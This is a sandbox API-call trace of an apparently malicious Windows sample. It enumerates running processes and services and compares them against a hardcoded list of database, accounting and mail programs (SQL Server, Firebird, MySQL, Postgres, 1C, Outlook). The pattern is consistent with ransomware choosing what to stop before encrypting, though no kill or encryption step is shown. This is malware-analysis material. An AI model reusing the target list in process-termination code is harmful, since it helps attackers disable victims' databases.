	[0275.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0275.075] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0275.075] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0275.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0275.075] lstrlenW (lpString="Themes") returned 6
	[0275.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0275.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0275.075] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0275.075] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0275.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0275.075] lstrlenW (lpString="TrkWks") returned 6
	[0275.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1
	[0275.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1
	[0275.075] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1
	[0275.075] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1
	[0275.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1
	[0275.075] lstrlenW (lpString="UxSms") returned 5
	[0275.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0275.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0275.075] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0275.075] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0275.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0275.075] lstrlenW (lpString="WdiServiceHost") returned 14
	[0275.075] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0275.075] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1
	[0275.075] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1
	[0275.075] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1
	[0275.075] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1
	[0275.075] lstrlenW (lpString="WdiSystemHost") returned 13
	[0275.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0275.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1
	[0275.076] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1
	[0275.076] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1
	[0275.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1
	[0275.076] lstrlenW (lpString="Winmgmt") returned 7
	[0275.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1
	[0275.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1
	[0275.076] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1
	[0275.076] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1
	[0275.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1
	[0275.076] lstrlenW (lpString="WPDBusEnum") returned 10
	[0275.076] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0275.076] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1
	[0275.076] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1
	[0275.076] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1
	[0275.076] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1
	[0275.076] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4206ba8 | out: hHeap=0x4a0000) returned 1
	[0275.076] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x338
	[0275.077] Process32FirstW (in: hSnapshot=0x338, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0275.077] Process32NextW (in: hSnapshot=0x338, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0275.077] lstrlenW (lpString="System") returned 6
	[0275.078] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0275.078] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0275.078] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0275.078] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0275.078] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0275.078] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0275.078] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0275.078] Process32NextW (in: hSnapshot=0x338, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0275.078] lstrlenW (lpString="smss.exe") returned 8
	[0275.078] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0275.078] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0275.078] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0275.078] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0275.078] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0275.078] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0275.078] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0275.078] Process32NextW (in: hSnapshot=0x338, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0275.079] lstrlenW (lpString="csrss.exe") returned 9
	[0275.079] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0275.079] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0275.079] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0275.079] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0275.079] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0275.079] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0275.079] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0275.079] Process32NextW (in: hSnapshot=0x338, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0275.079] lstrlenW (lpString="wininit.exe") returned 11
	[0275.079] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0275.079] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0275.079] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0275.079] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0275.079] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0275.079] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0275.079] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0275.079] Process32NextW (in: hSnapshot=0x338, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0275.080] lstrlenW (lpString="csrss.exe") returned 9
	[0275.080] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0275.080] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0275.080] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0275.080] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0275.080] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0275.080] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0275.080] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0275.080] Process32NextW (in: hSnapshot=0x338, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0275.080] lstrlenW (lpString="winlogon.exe") returned 12
	[0275.080] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1
	[0275.080] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1
	[0275.080] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1
	[0275.080] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1
	[0275.080] Process32NextW (in: hSnapshot=0x338, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0275.080] lstrlenW (lpString="services.exe") returned 12
	[0275.081] Process32NextW (in: hSnapshot=0x338, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0275.081] lstrlenW (lpString="lsass.exe") returned 9
	[0275.081] Process32NextW (in: hSnapshot=0x338, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0275.081] lstrlenW (lpString="lsm.exe") returned 7
	[0275.081] Process32NextW (in: hSnapshot=0x338, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0275.081] lstrlenW (lpString="svchost.exe") returned 11
	[0275.081] Process32NextW (in: hSnapshot=0x338, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0275.082] lstrlenW (lpString="svchost.exe") returned 11
	[0275.082] Process32NextW (in: hSnapshot=0x338, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0275.082] lstrlenW (lpString="svchost.exe") returned 11
	[0275.082] Process32NextW (in: hSnapshot=0x338, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0275.082] lstrlenW (lpString="svchost.exe") returned 11
	[0275.082] Process32NextW (in: hSnapshot=0x338, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0275.082] lstrlenW (lpString="svchost.exe") returned 11
	[0275.082] Process32NextW (in: hSnapshot=0x338, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0275.083] lstrlenW (lpString="audiodg.exe") returned 11
	[0275.083] Process32NextW (in: hSnapshot=0x338, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0275.083] lstrlenW (lpString="svchost.exe") returned 11
	[0275.083] Process32NextW (in: hSnapshot=0x338, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1
	[0275.083] lstrlenW (lpString="userinit.exe") returned 12
	[0275.083] Process32NextW (in: hSnapshot=0x338, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0275.084] lstrlenW (lpString="explorer.exe") returned 12
	[0275.084] Process32NextW (in: hSnapshot=0x338, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0275.084] lstrlenW (lpString="dwm.exe") returned 7
	[0275.084] Process32NextW (in: hSnapshot=0x338, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0275.084] lstrlenW (lpString="svchost.exe") returned 11
	[0275.084] Process32NextW (in: hSnapshot=0x338, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0275.084] lstrlenW (lpString="swpesp.exe") returned 10
	[0275.084] Process32NextW (in: hSnapshot=0x338, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0275.085] lstrlenW (lpString="spoolsv.exe") returned 11
	[0275.085] Process32NextW (in: hSnapshot=0x338, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0275.085] lstrlenW (lpString="taskhost.exe") returned 12
	[0275.085] Process32NextW (in: hSnapshot=0x338, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0275.085] lstrlenW (lpString="svchost.exe") returned 11
	[0275.085] Process32NextW (in: hSnapshot=0x338, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1
	[0275.086] lstrlenW (lpString="reader_sl.exe") returned 13
	[0275.086] Process32NextW (in: hSnapshot=0x338, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0275.086] lstrlenW (lpString="taskhost.exe") returned 12
	[0275.086] Process32NextW (in: hSnapshot=0x338, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0
	[0275.086] CloseHandle (hObject=0x338) returned 1
	[0275.086] Sleep (dwMilliseconds=0x1f4) 
	[0275.860] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4280ab8
	[0276.003] EnumServicesStatusExW (in: hSCManager=0x4280ab8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 0
	[0276.957] GetLastError () returned 0xea
	[0276.957] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0x113e) returned 0x4206ba8
	[0276.958] EnumServicesStatusExW (in: hSCManager=0x4280ab8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4206ba8, cbBufSize=0x113e, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4206ba8, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 1
	[0276.958] CloseServiceHandle (hSCObject=0x4280ab8) returned 1
	[0276.958] lstrlenW (lpString="Appinfo") returned 7
	[0276.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0276.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0276.958] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0276.958] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0276.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0276.958] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0276.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0276.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0276.958] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0276.959] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0276.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0276.959] lstrlenW (lpString="AudioSrv") returned 8
	[0276.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0276.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0276.959] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0276.959] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0276.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0276.959] lstrlenW (lpString="BFE") returned 3
	[0276.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0276.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0276.959] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0276.959] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0276.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0276.959] lstrlenW (lpString="CryptSvc") returned 8
	[0276.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0276.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0276.959] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0276.959] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0276.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0276.959] lstrlenW (lpString="CscService") returned 10
	[0276.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0276.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0276.959] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0276.959] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0276.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0276.959] lstrlenW (lpString="DcomLaunch") returned 10
	[0276.959] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0276.959] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0276.959] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0276.959] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0276.959] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0276.960] lstrlenW (lpString="Dhcp") returned 4
	[0276.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0276.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0276.960] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0276.960] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0276.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0276.960] lstrlenW (lpString="Dnscache") returned 8
	[0276.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0276.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0276.960] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0276.960] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0276.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0276.960] lstrlenW (lpString="DPS") returned 3
	[0276.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0276.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0276.960] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0276.960] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0276.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0276.960] lstrlenW (lpString="eventlog") returned 8
	[0276.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0276.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0276.960] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0276.960] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0276.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0276.960] lstrlenW (lpString="EventSystem") returned 11
	[0276.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0276.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0276.960] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0276.960] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0276.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0276.960] lstrlenW (lpString="gpsvc") returned 5
	[0276.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0276.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0276.961] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0276.961] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0276.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0276.961] lstrlenW (lpString="iphlpsvc") returned 8
	[0276.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0276.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0276.961] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0276.961] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0276.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0276.961] lstrlenW (lpString="LanmanServer") returned 12
	[0276.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0276.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0276.961] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0276.961] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0276.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0276.961] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0276.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0276.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0276.961] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0276.961] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0276.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0276.961] lstrlenW (lpString="lmhosts") returned 7
	[0276.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0276.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0276.961] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
